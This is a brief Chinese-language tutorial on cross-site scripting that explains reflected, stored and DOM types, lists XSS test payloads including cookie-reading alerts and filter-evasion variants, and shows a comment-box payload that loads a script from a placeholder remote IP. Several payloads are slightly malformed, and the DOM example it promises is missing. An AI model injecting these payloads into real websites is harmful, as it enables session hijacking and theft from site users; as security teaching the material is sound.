XSS概念
XSS攻击全称跨站脚本攻击,是为不和CSS(Cascading Style Sheets, 层叠样式表)的缩写混淆,故将 跨站脚本攻击 缩写为XSS,它是一种在web应用中的计算机安全漏洞,允许用户恶意将代码植入到web网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生xss攻击。
XSS的危害
盗取各类用户帐号;读取、篡改、添加、删除企业敏感数据;发送电子邮件或网站挂马;控制受害者机器向其它网站发起攻击
XSS的类型
反射型XSS
反射型XSS,需要欺骗用户自己去点击链接才能触发XSS代码,是非持久化的攻击
交互表现: 用户<=>web服务端<==>服务器
举例
http://target_sys.com/xss/xss01.php?name=%3Cscript%3Ealert(/xss/)%3C/script>

存储型XSS
存储型XSS,是持久化攻击,比如个人信息或发表文章窗口没有过滤或过滤不严时,xss代码在其实现后存储入服务器,用户访问该页面的时候触发代码执行。
交互表现: 用户<=>web服务端<=>服务器<==>数据库
截取cookie的例子
<SCRIPT>alert(document.cookie)</SCRIPT>

dom型XSS
DOM,全称Document Object Model,是一个平台和语言 中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。 客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
例子如下(IE浏览器的例子,仅作参考) 目前传统domXSS在谷歌火狐Edge等现代浏览器都不能起作用

XSS测试用例
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 onerror=alert(document.cookie)
<script>alert(document.cookie)</script> <script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"("XSS")>
<IMG SRC="jav	ascript.:alert('XSS');">
XSS利用操作
留言框中XSS加载payload攻击
前提,IP机中的js文件存在且可被加载
<script src="http://xxx.xxx.xxx.xxx/xss.js"></script>
加载后开发者工具网络中可查找js资源请求下载和加载js文件
服务器文件目录
以纪念我的2020......